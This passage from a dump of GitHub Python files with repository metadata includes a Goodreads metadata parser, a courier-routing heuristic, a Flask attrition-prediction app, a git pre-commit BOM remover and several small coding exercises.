(Omnibus) (Series (digital) #1)\"\n # \"Some title (Omnibus) (Series (digital) #1-5)\"\n text_split = title_text.rpartition('(')\n title = text_split[0]\n series_info = text_split[2]\n hash_pos = series_info.find('#')\n if hash_pos <= 0:\n # Cannot find the series # in expression or at start like (#1-7)\n # so consider whole thing just as title\n title = title_text\n series_info = ''\n else:\n # Check to make sure we have got all of the series information\n series_info = series_info[:len(series_info)-1] #Strip off trailing ')'\n while series_info.count(')') != series_info.count('('):\n title_split = title.rpartition('(')\n title = title_split[0].strip()\n series_info = title_split[2] + '(' + series_info\n if series_info:\n series_partition = series_info.rpartition('#')\n series_name = series_partition[0].strip()\n if series_name.endswith(','):\n series_name = series_name[:-1]\n series_index = series_partition[2].strip()\n if series_index.find('-'):\n # The series is specified as 1-3, 1-7 etc.\n # In future we may offer config options to decide what to do,\n # such as \"Use start number\", \"Use value xxx\" like 0 etc.\n # For now will just take the start number and use that\n series_index = series_index.partition('-')[0].strip()\n try:\n return (title.strip(), series_name, float(series_index))\n except ValueError:\n # We have a series index which isn't really a series index\n title = title_text\n return (title.strip(), None, None)\n\n def parse_authors(self, root):\n get_all_authors = cfg.plugin_prefs[cfg.STORE_NAME][cfg.KEY_GET_ALL_AUTHORS]\n if get_all_authors:\n author_node = root.xpath('//div[@id=\"metacol\"]/div[@id=\"bookAuthors\"]/a[@class=\"authorName\"]/span[@itemprop=\"name\"]')\n if author_node:\n authors = []\n for author_value in author_node:\n author = tostring(author_value, method='text', encoding=unicode).strip()\n # If multiple authors with some as editors can result in a trailing , to remove\n if author[-1:] == ',':\n author = author[:len(author)-1]\n authors.append(author)\n return authors\n else:\n # We need to more carefully look at the authors to only bring them in if:\n # 1. They have no author type specified\n # 2. They have an author type of 'Goodreads Author'\n # 3. There are no authors from 1&2 and they have an author type of 'Editor'\n div_authors = root.xpath('//div[@id=\"metacol\"]/div[@id=\"bookAuthors\"]')\n if not div_authors:\n return\n authors_html = tostring(div_authors[0], method='text', encoding=unicode).replace('\\n','').strip()\n if authors_html.startswith('by'):\n authors_html = authors_html[2:]\n authors_type_map = OrderedDict()\n for a in authors_html.split(','):\n author = a.strip()\n if author.startswith('more...'):\n author = author[7:]\n elif author.endswith('...less'):\n author = author[:-7]\n author_parts = author.strip().split('(')\n if len(author_parts) == 1:\n authors_type_map[author_parts[0]] = ''\n else:\n authors_type_map[author_parts[0]] = author_parts[1][:-1]\n # At this point we have a dict of authors with their contribution if any in values\n authors = []\n valid_contrib = None\n for a, contrib in authors_type_map.iteritems():\n if not contrib or contrib == 'Goodreads Author':\n authors.append(a)\n elif len(authors) == 0:\n authors.append(a)\n valid_contrib = contrib\n elif contrib == valid_contrib:\n authors.append(a)\n else:\n break\n return authors\n\n def parse_rating(self, root):\n rating_node = root.xpath('//div[@id=\"metacol\"]/div[@id=\"bookMeta\"]/span[@class=\"value rating\"]/span')\n if rating_node:\n rating_text = tostring(rating_node[0], method='text', encoding=unicode)\n rating_text = re.sub('[^0-9]', '', rating_text)\n rating_value = float(rating_text)\n if rating_value >= 100:\n return rating_value / 100\n return rating_value\n\n def parse_comments(self, root):\n # Look for description in a second span that gets expanded when interactively displayed [@id=\"display:none\"]\n description_node = root.xpath('//div[@id=\"metacol\"]/div[@id=\"description\"]/span')\n if description_node:\n desc = description_node[0] if len(description_node) == 1 else description_node[1]\n less_link = desc.xpath('a[@class=\"actionLinkLite\"]')\n if less_link is not None and len(less_link):\n desc.remove(less_link[0])\n comments = tostring(desc, method='html', encoding=unicode).strip()\n while comments.find(' ') >= 0:\n comments = comments.replace(' ',' ')\n comments = sanitize_comments_html(comments)\n return comments\n\n def parse_cover(self, root):\n imgcol_node = root.xpath('//div[@id=\"imagecol\"]/a/img/@src')\n if imgcol_node:\n img_url = imgcol_node[0]\n # Unfortunately Goodreads sometimes have broken links so we need to do\n # an additional request to see if the URL actually exists\n info = self.browser.open_novisit(img_url, timeout=self.timeout).info()\n if int(info.getheader('Content-Length')) > 1000:\n return img_url\n else:\n self.log.warning('Broken image for url: %s'%img_url)\n\n def parse_isbn(self, root):\n isbn_node = root.xpath('//div[@id=\"metacol\"]/div[@id=\"details\"]/div[@class=\"buttons\"]/div[@id=\"bookDataBox\"]/div/div')\n if isbn_node:\n id_type = tostring(isbn_node[0], method='text', encoding=unicode).strip()\n if id_type == 'ISBN':\n isbn10_data = tostring(isbn_node[1], method='text', encoding=unicode).strip()\n isbn13_pos = isbn10_data.find('ISBN13:')\n if isbn13_pos == -1:\n return isbn10_data[:10]\n else:\n return isbn10_data[isbn13_pos+8:isbn13_pos+21]\n elif id_type == 'ISBN13':\n # We have just an ISBN13, without an ISBN10\n return tostring(isbn_node[1], method='text', encoding=unicode).strip()\n\n def parse_publisher_and_date(self, root):\n publisher = None\n pub_date = None\n publisher_node = root.xpath('//div[@id=\"metacol\"]/div[@id=\"details\"]/div[2]')\n if publisher_node:\n # Publisher is specified within the div above with variations of:\n # Published December 2003 by Books On Tape <nobr class=\"greyText\">(first published 1982)</nobr>\n # Published June 30th 2010\n # Note that the date could be \"2003\", \"December 2003\" or \"December 10th 2003\"\n publisher_node_text = tostring(publisher_node[0], method='text', encoding=unicode)\n # See if we can find the publisher name\n pub_text_parts = publisher_node_text.partition(' by ')\n if pub_text_parts[2]:\n publisher = pub_text_parts[2].strip()\n if '(first' in publisher:\n # The publisher name is followed by (first published xxx) so strip that off\n publisher = publisher.rpartition('(first')[0].strip()\n\n # Now look for the pubdate. There should always be one at start of the string\n pubdate_text_match = re.search('Published[\\n\\s]*([\\w\\s]+)', pub_text_parts[0].strip())\n pubdate_text = None\n if pubdate_text_match is not None:\n pubdate_text = pubdate_text_match.groups(0)[0]\n # If we have a first published section of text use that for the date.\n if '(first' in publisher_node_text:\n # For the publication date we will use first published date\n # Note this date could be just a year, or it could be monthname year\n pubdate_text_match = re.search('.*\\(first published ([\\w\\s]+)', publisher_node_text)\n if pubdate_text_match is not None:\n first_pubdate_text = pubdate_text_match.groups(0)[0]\n if pubdate_text and first_pubdate_text[-4:] == pubdate_text[-4:]:\n # We have same years, use the first date as it could be more accurate\n pass\n else:\n pubdate_text = first_pubdate_text\n if pubdate_text:\n pub_date = self._convert_date_text(pubdate_text)\n return (publisher, pub_date)\n\n def parse_tags(self, root):\n # Goodreads does not have \"tags\", but it does have Genres (wrapper around popular shelves)\n # We will use those as tags (with a bit of massaging)\n genres_node = root.xpath('//div[@class=\"stacked\"]/div/div/div[contains(@class, \"bigBoxContent\")]/div/div')\n if genres_node:\n genre_tags = list()\n for genre_node in genres_node:\n sub_genre_nodes = genre_node.xpath('a')\n genre_tags_list = [sgn.text_content().strip() for sgn in sub_genre_nodes]\n if genre_tags_list:\n genre_tags.append(' > '.join(genre_tags_list))\n calibre_tags = self._convert_genres_to_calibre_tags(genre_tags)\n if len(calibre_tags) > 0:\n return calibre_tags\n\n def _convert_genres_to_calibre_tags(self, genre_tags):\n # for each tag, add if we have a dictionary lookup\n calibre_tag_lookup = cfg.plugin_prefs[cfg.STORE_NAME][cfg.KEY_GENRE_MAPPINGS]\n calibre_tag_map = dict((k.lower(),v) for (k,v) in calibre_tag_lookup.iteritems())\n tags_to_add = list()\n for genre_tag in genre_tags:\n tags = calibre_tag_map.get(genre_tag.lower(), None)\n if tags:\n for tag in tags:\n if tag not in tags_to_add:\n tags_to_add.append(tag)\n return list(tags_to_add)\n\n def _convert_date_text(self, date_text):\n # Note that the date text could be \"2003\", \"December 2003\" or \"December 10th 2003\"\n year = int(date_text[-4:])\n month = 1\n day = 1\n if len(date_text) > 4:\n text_parts = date_text[:len(date_text)-5].partition(' ')\n month_name = text_parts[0]\n # Need to convert the month name into a numeric value\n # For now I am \"assuming\" the Goodreads website only displays in English\n # If it doesn't will just fallback to assuming January\n month_dict = {\"January\":1, \"February\":2, \"March\":3, \"April\":4, \"May\":5, \"June\":6,\n \"July\":7, \"August\":8, \"September\":9, \"October\":10, \"November\":11, \"December\":12}\n month = month_dict.get(month_name, 1)\n if len(text_parts[2]) > 0:\n day = int(re.match('([0-9]+)', text_parts[2]).groups(0)[0])\n from calibre.utils.date import utc_tz\n return datetime.datetime(year, month, day, tzinfo=utc_tz)\n","repo_name":"mirror/goodreads","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":18895,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"33408813659","text":"# from Req_gems, take element\n# find its index in gems list\n# same index is the index of price\n# multiply by quantity, present at same index as req, gems\n\n# given:\n# 1) Gems: [a, b, c, d] - i1\n# 2) Price: [100, 100, 200, 300] - i1\n# 3) Req_Gems: [a, c] - i2\n# 4) Quantity: [2, 4] - i2\n \n# Cost: 100*2 + 200*4\n\ndef ans(gems, price, req, quantity):\n total = 0\n for i in range(len(req)):\n element = req[i] #Take element at index i in req\n if element not in gems:\n return -1\n #if \"not in gems\" condition is not hit :)\n j = gems.index(element) #Index of element gem in gems\n p = price[j] #Price of required element\n total += p*quantity[i] # multiply by quantity and += to total\n return total\n \n# driver\ngems = [\"a\", \"b\", \"c\", \"d\"]\nprice = [100, 100, 200, 300]\nreq = [\"a\", \"e\"]\nquantity = [2, 5]\nprint(ans(gems, price, req, quantity), \"ANS\")\n\n\n\n\n","repo_name":"SatyamVyas04/LearningBasics","sub_path":"Python/InfosysPractise/prog2.py","file_name":"prog2.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"391737452","text":"import json\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nimport sys\nfrom scipy.spatial import distance_matrix\n\ndef filter_orders(orders):\n orders = orders[(orders['pickup_to']>=360) \n & (orders['dropoff_to'] >=360) \n & (orders['payment'] > 0) \n & (orders['dropoff_to'] >= orders['pickup_from'])]\n return orders\n\n\ndef manh_distance(x0,y0,x1,y1):\n return np.abs(x0 - x1) + np.abs(y0-y1)\n\n\ndef courier_distance(x0,y0,x1,y1):\n return 10 + manh_distance(x0,y0,x1,y1)\n\n\ndef greedy_courier(start_position, visited_nodes, money, end2start, end2start_time, drop_coordinates, pick_coordinates, time_from_start_to_end, time_from_ends_to_starts, time_from_ends_to_end, metric_from_ends_to_end, drop_from, drop_to, pick_from, pick_to, PROFIT_THRESHOLD=50):\n \"\"\"\n Need a lot of global variables\n \"\"\"\n path = []\n pick_time_first = 10 + distance_matrix([start_position], pick_coordinates, p=1).reshape((-1,))\n drop_time_first = pick_time_first + time_from_start_to_end\n metric_first = money - (pick_time_first + drop_time_first) * 2\n current_time = 360\n \n pick_times = current_time + pick_time_first\n drop_times = pick_times + time_from_start_to_end\n need_to_wait_mask = (pick_from - pick_times) > 0\n wait_pick_array = pick_from - pick_times\n wait_pick_array[np.invert(need_to_wait_mask)] = 0\n metric_first -= wait_pick_array * 2\n new_pick_time = pick_times + wait_pick_array\n new_drop_time = new_pick_time + time_from_start_to_end\n # Drop\n wait_drop_array = drop_from - new_drop_time\n wait_drop_array_mask = wait_drop_array > 0\n wait_drop_array[np.invert(wait_drop_array_mask)] = 0\n metric_first -= wait_drop_array * 2\n new_drop_time = new_drop_time + wait_drop_array\n \n sorted_metric = np.argsort(metric_first)[::-1]\n # first step\n for j, id_ in enumerate(sorted_metric):\n if id_ in visited_nodes:\n continue\n pick_time = new_pick_time[id_]\n drop_time = new_drop_time[id_]\n if pick_time < pick_to[id_] and drop_time < drop_to[id_]:\n path.append(id_)\n current_time = drop_time\n metric_from_ends_to_end[:, id_] = -10e5\n break\n \n if metric_first[id_] < -100:\n break\n #elif pick_time < pick_from[id_]: # Let's wait\n # wait_pick = pick_from[id_] - pick_time\n # pick_time = pick_from[id_]\n # new_drop_time = pick_time + time_from_start_to_end[id_]\n # if new_drop_time < drop_to[id_]: # Can drop\n # if drop_from[id_] <= new_drop_time: # In time!\n # if (metric_first[id_] - wait_pick * 2) > -50:\n # path.append(id_)\n # current_time = new_drop_time\n # metric_from_ends_to_end[:, id_] = -10e5\n # break\n # else: # Should wait drop\n # wait_drop = drop_from[id_] - new_drop_time\n # if (metric_first[id_] - wait_pick * 2 - wait_drop * 2) > -50:\n # path.append(id_)\n # current_time = new_drop_time + wait_drop\n # metric_from_ends_to_end[:, id_] = -10e5\n # break\n STOP = False\n if len(path) == 0:\n STOP = True\n else:\n visited_nodes.add(path[0])\n while not STOP:\n current_metric_array = metric_from_ends_to_end[path[-1], :]\n # [id_] Pick\n pick_times = current_time + time_from_ends_to_starts[path[-1]]\n drop_times = pick_times + time_from_start_to_end\n need_to_wait_mask = (pick_from - pick_times) > 0\n wait_pick_array = pick_from - pick_times\n wait_pick_array[np.invert(need_to_wait_mask)] = 0\n current_metric_array -= wait_pick_array * 2\n new_pick_time = pick_times + wait_pick_array\n new_drop_time = new_pick_time + time_from_start_to_end\n # Drop\n wait_drop_array = drop_from - new_drop_time\n wait_drop_array_mask = wait_drop_array > 0\n wait_drop_array[np.invert(wait_drop_array_mask)] = 0\n current_metric_array -= wait_drop_array * 2\n new_drop_time = new_drop_time + wait_drop_array\n # Sort\n sorted_metric = np.argsort(current_metric_array)[::-1]\n for j, id_ in enumerate(sorted_metric):\n pick_time = new_pick_time[id_]\n drop_time = new_drop_time[id_]\n if current_metric_array[id_] < 0 or current_time >=1439:\n STOP = True\n if pick_time < pick_to[id_] and drop_time < drop_to[id_] and id_ not in visited_nodes:\n path.append(id_)\n visited_nodes.add(id_)\n current_time = drop_time\n metric_from_ends_to_end[:, id_] = -10e5\n break \n #elif pick_time < pick_from[id_]: # Let's wait\n # wait_pick = pick_from[id_] - pick_time\n # pick_time = pick_from[id_]\n # new_drop_time = pick_time + time_from_start_to_end[id_]\n # if new_drop_time < drop_to[id_]: # Can drop\n # if drop_from[id_] <= new_drop_time: # In time!\n # if (current_metric_array[id_] - wait_pick * 2) > PROFIT_THRESHOLD:\n # path.append(id_)\n # visited_nodes.add(id_)\n # current_time = new_drop_time\n # metric_from_ends_to_end[:, id_] = -10e5\n # break\n # else: # Should wait drop\n # wait_drop = drop_from[id_] - new_drop_time\n # if (current_metric_array[id_] - wait_pick * 2 - wait_drop * 2) > PROFIT_THRESHOLD:\n # path.append(id_)\n # visited_nodes.add(id_)\n # current_time = new_drop_time + wait_drop\n # metric_from_ends_to_end[:, id_] = -10e5\n # break\n return path, current_time, visited_nodes\n\n\ndef main(orders_path, output_path):\n with open(orders_path) as f:\n contest_data = json.load(f)\n couriers = pd.DataFrame(contest_data['couriers'])\n orders = pd.DataFrame(contest_data['orders'])\n depots = pd.DataFrame(contest_data['depots'])\n orders = filter_orders(orders)\n\n drop_x = orders['dropoff_location_x'].values\n drop_y = orders['dropoff_location_y'].values\n pick_x = orders['pickup_location_x'].values\n pick_y = orders['pickup_location_y'].values\n\n money = orders['payment'].values\n end2start = np.zeros((orders.shape[0], orders.shape[0]))\n end2start_time = np.zeros((orders.shape[0], orders.shape[0]))\n drop_coordinates = orders[['dropoff_location_x', 'dropoff_location_y']].values\n pick_coordinates = orders[['pickup_location_x', 'pickup_location_y']].values\n time_from_start_to_end = np.array(courier_distance(pick_x, pick_y, drop_x, drop_y))\n # [end_id, start_id]\n time_from_ends_to_starts = 10 + distance_matrix(drop_coordinates, pick_coordinates, p=1).astype('float')\n # Avoid to go to myself\n time_from_ends_to_starts += np.eye(time_from_ends_to_starts.shape[0]) * 10e6\n # end0 -> start1 -> end1\n\n time_from_ends_to_end = time_from_start_to_end + time_from_ends_to_starts\n #\n metric_from_ends_to_end = np.array(money) - time_from_ends_to_end * 2\n\n drop_from = orders['dropoff_from'].values\n drop_to = orders['dropoff_to'].values\n pick_from = orders['pickup_from'].values\n pick_to = orders['pickup_to'].values\n \n \n # CENTER\n CENTER = [210,130]\n couriers_distance_from_center = manh_distance(couriers['location_x'],couriers['location_y'], CENTER[0], CENTER[1]).values\n argsort = np.argsort(couriers_distance_from_center)[::-1]\n \n paths, times = [], []\n visited_nodes = set()\n for start_position in tqdm(couriers[['location_x', 'location_y']].values[argsort]):\n path, time, visited_nodes = greedy_courier(start_position, visited_nodes, \n money, end2start, end2start_time, drop_coordinates, pick_coordinates, time_from_start_to_end, time_from_ends_to_starts, time_from_ends_to_end, metric_from_ends_to_end, drop_from, drop_to, pick_from, pick_to)\n paths.append(path)\n times.append(time)\n \n order_ids = orders['order_id'].values\n pickup_point_ids = orders['pickup_point_id'].values\n dropoff_point_ids = orders['dropoff_point_id'].values\n actions = []\n for path, courier_id in zip(paths, couriers['courier_id'].values[argsort]):\n for id_ in path:\n actions.append([courier_id, \"pickup\", order_ids[id_], pickup_point_ids[id_]])\n actions.append([courier_id, \"dropoff\", order_ids[id_], dropoff_point_ids[id_]])\n \n result = pd.DataFrame(actions, columns=['courier_id', 'action', 'order_id', 'point_id'])\n\n result.to_json(output_path, orient='records')\n \n \nif __name__ == '__main__':\n input_file = sys.argv[1]\n output_file = sys.argv[2]\n main(input_file, output_file)\n ","repo_name":"VProv/Dostavista","sub_path":"run_solution.py","file_name":"run_solution.py","file_ext":"py","file_size_in_byte":9176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41897525607","text":"from flask import Flask, render_template, request\nimport pickle\nimport numpy as np\n\napp = Flask(__name__)\n\n# Load the trained model\nwith open(r'C:\\Users\\USER\\Desktop\\DSA course\\HR AV hacakthon\\Web app\\best_random_forest_model1.pkl', 'rb') as model_file:\n model = pickle.load(model_file)\n\n@app.route('/')\ndef index():\n return render_template('index_main.html')\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n features = [\n 'BusinessTravel', 'Department', 'DistanceFromHome', 'Education', \n 'EducationField', 'EmployeeCount', 'Gender', 'JobLevel', 'JobRole', \n 'MaritalStatus', 'MonthlyIncome', 'NumCompaniesWorked', \n 'PercentSalaryHike', 'StandardHours', 'StockOptionLevel', \n 'TotalWorkingYears', 'TrainingTimesLastYear', 'YearsAtCompany', \n 'YearsSinceLastPromotion', 'YearsWithCurrManager', \n 'EnvironmentSatisfaction', 'JobSatisfaction', 'WorkLifeBalance', \n 'JobInvolvement', 'PerformanceRating'\n ]\n \n input_data = [request.form[feature] for feature in features]\n input_data = np.array(input_data, dtype=float).reshape(1, -1)\n \n prediction = model.predict(input_data)\n if prediction[0] == 0:\n result = \"No\"\n else:\n result = \"Yes\"\n \n return render_template('result.html', prediction_text=f\"Predicted Attrition: {result}\")\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"2000prasanth/HR-Attrition-Prediction-Analytics","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30605193372","text":"from OD_CKS_DABE import *\n\n\ndef main():\n groupObj = PairingGroup('SS512')\n dabe = Dabe(groupObj)\n GP = dabe.get_global_PP_json(\"./gpp/global_parameters.json\")\n TP = dabe.get_Trapdoor_json(\"TRAPDOOR.json\")\n filelist = get_files(\"./MATCHED_FILE\")\n if len(filelist) == 0:\n return\n des = \"./PARTIAL_CIPHERTEXT/\"\n if os.path.exists(des):\n shutil.rmtree(des)\n os.mkdir(des)\n for i in filelist:\n if (i.split('.'))[2] == \"json\":\n CT = dabe.get_Full_CT_json(i)\n partial_ct = dabe.partial_decrypt(GP, TP, CT)\n print(\"\\nPartial decryption: %s\" % partial_ct)\n filename = \"./PARTIAL_CIPHERTEXT/PARTIAL_CIPHERTEXT_\" + (i.split('_'))[3].split('.')[0] + \".json\"\n ParCT_json = {}\n for i in partial_ct.keys():\n ParCT_json[i] = str(groupObj.serialize(partial_ct[i]), encoding='utf-8')\n with open(filename, 'w') as file_object:\n json.dump(ParCT_json, file_object)\n\nif __name__ == '__main__':\n main()","repo_name":"playerxq/ABKS-demo","sub_path":"ABKS-sample/Partial_decrypt.py","file_name":"Partial_decrypt.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"31485867158","text":"import pygame\n\nclass Ship():\n\n def __init__(self, ai_settings, screen):\n \"\"\"初始化飞船,并设置它的起始位置。\"\"\"\n self.screen = screen\n self.ai_settings = ai_settings\n\n # 加载飞船图像,得到它的矩形。\n self.image = pygame.image.load('images/ship.bmp')\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n\n # 在屏幕的底部中央启动每艘新船。\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n \n # 因为移动是像素用float储存\n self.center = float(self.rect.centerx)\n \n # 移动\n self.moving_right = False\n self.moving_left = False\n \n def update(self):\n \"\"\"根据移动标志调整船的位置。\"\"\"\n # 更新飞船的中心(center)的值而不是rect\n if self.moving_right and self.rect.right < self.screen_rect.right:\n self.center += self.ai_settings.ship_speed_factor\n if self.moving_left and self.rect.left > 0:\n self.center -= self.ai_settings.ship_speed_factor\n \n # 从self.center更新rect对象。\n self.rect.centerx = self.center\n\n def blitme(self):\n \"\"\"吧船停在当前位置\"\"\"\n self.screen.blit(self.image, self.rect)\n","repo_name":"zhangzhenzho/zhangzhenzho","sub_path":"alien_invasion/ship.py","file_name":"ship.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14297138377","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"brgp main file\"\"\"\n\nimport os\nimport sys\nimport codecs\nfrom pathlib import Path\n\nCURDIR = Path(os.path.abspath(os.curdir))\nBRGP_NAME = os.path.basename(__file__)\nBRGP_FILE = os.path.abspath(__file__)\n\nHOOK_DIR = CURDIR / \".git\" / \"hooks\"\nPRE_COMMIT = HOOK_DIR / \"pre-commit\"\n\nHELP_TEXT = \\\n\"\"\"brgp\n\nusage:\n%s [help]\n print help infomation.\n%s install [python exec]\n init brgp and write to git pre-commit.\n%s clear [add|noadd]\n clear all boms and add (optionally) it in git.\n noadd is default.\n\"\"\" % (BRGP_NAME, BRGP_NAME, BRGP_NAME)\n\nPRECOMMIT = \\\n\"\"\"#!/bin/sh\n\ncd $GIT_DIR\ncd ..\n%s \"%s\" clear add\n\"\"\"\n\nDEFAULT_PYTHON_EXEC = \"python\"\n\ndef process_single_file(file: str, noadd: bool) -> None:\n \"\"\"remove bom for a single file\"\"\"\n\n cont_rb = None\n try:\n cont_rb = open(file, \"rb\")\n except PermissionError:\n print(\"rejected %s\" % file)\n\n if cont_rb is None:\n return\n\n if cont_rb.read(3) == codecs.BOM_UTF8:\n cont_rb.close()\n\n cont_rt = open(file, 'r+', encoding='utf-8')\n cont = cont_rt.read()\n cont_rt.seek(0)\n cont_rt.truncate(0)\n cont_rt.write(cont[1:])\n cont_rt.flush()\n cont_rt.close()\n\n print(\"processed %s\" % file)\n if not noadd:\n os.system(\"git add %s\" % file)\n print(\"git add %s\" % file)\n else:\n cont_rb.close()\n\n print(\"skip %s\" % file)\n\ndef clear(argv: list) -> None:\n \"\"\"clear bom of all files under current directory recursively\"\"\"\n noadd = (not argv) or argv[0].lower() == \"noadd\"\n gitdir = os.path.join(CURDIR, \".git\")\n\n for path, _, files in os.walk(CURDIR):\n if os.path.relpath(path, gitdir)[:2] != '..':\n continue\n for file in files:\n # if f.split('.')[-1] in EXTS:\n process_single_file(os.path.join(path, file), noadd)\n\ndef get_precommit_file_content(python_exec: str) -> str:\n \"\"\"get pre-commit file content\"\"\"\n return PRECOMMIT % (python_exec, BRGP_FILE)\n\ndef install(argv: list):\n \"\"\"write pre-commit\"\"\"\n python_exec = DEFAULT_PYTHON_EXEC if not argv else argv[0]\n\n precommit = get_precommit_file_content(python_exec)\n\n precommit_file = open(str(PRE_COMMIT), 'w', encoding=\"utf-8\")\n precommit_file.write(precommit)\n precommit_file.flush()\n precommit_file.close()\n\ndef print_helpinfo():\n \"\"\"print help infomation\"\"\"\n print(HELP_TEXT)\n\ndef main():\n \"\"\"entry point\"\"\"\n\n argv = sys.argv[1:]\n\n if (not argv) or argv[0] == \"help\":\n print_helpinfo()\n elif argv[0] == \"install\":\n install(argv[1:])\n elif argv[0] == \"clear\":\n clear(argv[1:])\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GeminiLab/brgp","sub_path":"brgp.py","file_name":"brgp.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"183015036","text":"input_value = int(input('n을 입력하세요 : '))\na = 0 # 첫번째 줄의 값\nb = 0 # 짝수번째 줄의 값.\nc = 0 # 각 값의 초기값.\nprint(input_value)\nfor i in range((input_value)):\n if i % 2 == 0: # 짝수번째 줄의 값\n for k in range((input_value)): # 줄의 값 내용 출력\n c = c +1\n a = c\n print('{0:3}'.format(a),end='')\n b = a + input_value + 1 \n else: # 홀수번째 줄의 값\n for k in range(input_value): #줄의 값 내용 출력\n \n b = b - 1\n print('{0:3}'.format(b),end='')\n c = a+input_value \n print()\n \n \n\n \n \n# 1 2 3 4 5 a = a+1\n# 10 9 8 7 6 b = a+a - 1 5 입력시\n# 11 12 13 14 15 a = a+a + 1 \n# 20 19 18 17 16 b = a+a+a+a-1\n# 21 22 23 24 25 a = a+a+a+a+1\n\n# 6 입력시\n# 1 2 3 4 5 6\n# 7 8 9 10 11 12\n\n","repo_name":"inhyoe/Wintervacation","sub_path":"파이썬/7단원_list_tupple/7과도전문제/7-8.py","file_name":"7-8.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16444148360","text":"import pandas as pd\nfrom reports.quarterly_etl import QuarterlyReport\nfrom quarterlyReport.nft.coingecko import prices\n\n\ndef get_data(price_file_path=\"../coingecko/prices_raw.csv\",\n sales_file_path=\"sales.csv\",\n start=QuarterlyReport().start_time,\n end=QuarterlyReport().end_time):\n df = pd.read_csv(sales_file_path)\n\n chains = df[\"chain\"].unique().tolist()\n df_prices = prices.get_data(price_file_path, chains, start, end)\n df_prices[\"chain\"] = df_prices[\"chain\"].str.lower()\n df = df.merge(df_prices).eval(\"totalUSD = token * prices\")\n df = df.reindex(columns=[\"date\", \"chain\", \"totalUSD\"])\n\n dates = pd.date_range(start, end, freq=\"1D\").strftime(\"%Y-%m-%d\")[:-1]\n index_names = [\"date\", \"chain\"]\n index = pd.MultiIndex.from_product([dates, chains], names=index_names)\n df = df.set_index(index_names).reindex(index=index, fill_value=0)\n df.reset_index(inplace=True)\n\n return df\n\n\nif __name__ == \"__main__\":\n sales = get_data()\n print(sales)\n","repo_name":"tara-nguyen/crypto-data","sub_path":"quarterlyReport/nft/tofunft/sales.py","file_name":"sales.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11401275459","text":"#Задание 31\n\"\"\"\nПоследовательностью Фибоначчи называется\nпоследовательность чисел a0\n, a1, ..., an, ..., где\na0 = 0, a1 = 1, ak = ak-1 + ak-2 (k > 1).\nТребуется найти N-е число Фибоначчи\nInput: 7\nOutput: 21\n\"\"\"\nimport os\nos.system('CLS')\ndef fib(n):\n res =\"\"\n for i in range(1, n+1):\n res += f'{fib(i)} '\n return res\nprint(fib(int(input(\"Введите число Фибоначи: \"))))","repo_name":"Angiy555/PythonKaa","sub_path":"Sem5Task31/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74253490346","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 29 09:03:38 2015\n\n@author: rbanderson\n\"\"\"\nimport numpy\nimport ccam\n\ndef remove_spectra(removefile,spectra,names,spect_index,comps):\n #read the list of sample names and spectrum indices from the file\n data=ccam.read_csv_cols(removefile,0,labelrow=False)\n removenames=numpy.array(data[0],dtype='string')\n removeinds=numpy.array(data[1],dtype='int')\n #define an array to hold the indices for each row in the file \n index=numpy.empty([len(names),len(removenames)])\n for i in range(len(removenames)):\n #for each row, find the indices that correspond to the matching \n #name AND spectral index\n index[:,i]=(names==removenames[i])&(spect_index==removeinds[i])\n #combine the indices for each row to a single array that indicates which\n #spectra to remove, then invert it to indicate which spectra to keep\n index=numpy.invert(numpy.any(index,axis=1))\n \n spectra=spectra[index,:]\n names=names[index]\n spect_index=spect_index[index]\n comps=comps[index,:]\n \n return spectra,names,spect_index,comps\n \n ","repo_name":"freesiemens/Working","sub_path":"external_test_set/ccam/remove_spectra.py","file_name":"remove_spectra.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69878255467","text":"from collections import defaultdict\n\n\nclass Solution:\n def numberOfBoomerangs(self, points):\n \"\"\"\n :type points: List[List[int]]\n :rtype: int\n \"\"\"\n ans = 0\n for i in points:\n dst_cnt = defaultdict(int)\n for j in points:\n dst = (j[1] - i[1]) ** 2 + (j[0] - i[0]) ** 2\n dst_cnt[dst] += 1\n # 考虑采用顺序的排序组合 A_n^2\n for v in dst_cnt.values():\n ans += v * (v - 1)\n return ans\n\n\npoints = [[0, 0], [1, 0], [2, 0]]\nprint(Solution().numberOfBoomerangs(points))\n","repo_name":"hotheat/LeetCode","sub_path":"447. Number of Boomerangs/447.py","file_name":"447.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35676319501","text":"\"\"\"\ndb.py\n\nTitle: SQL database functions\nAuthor: 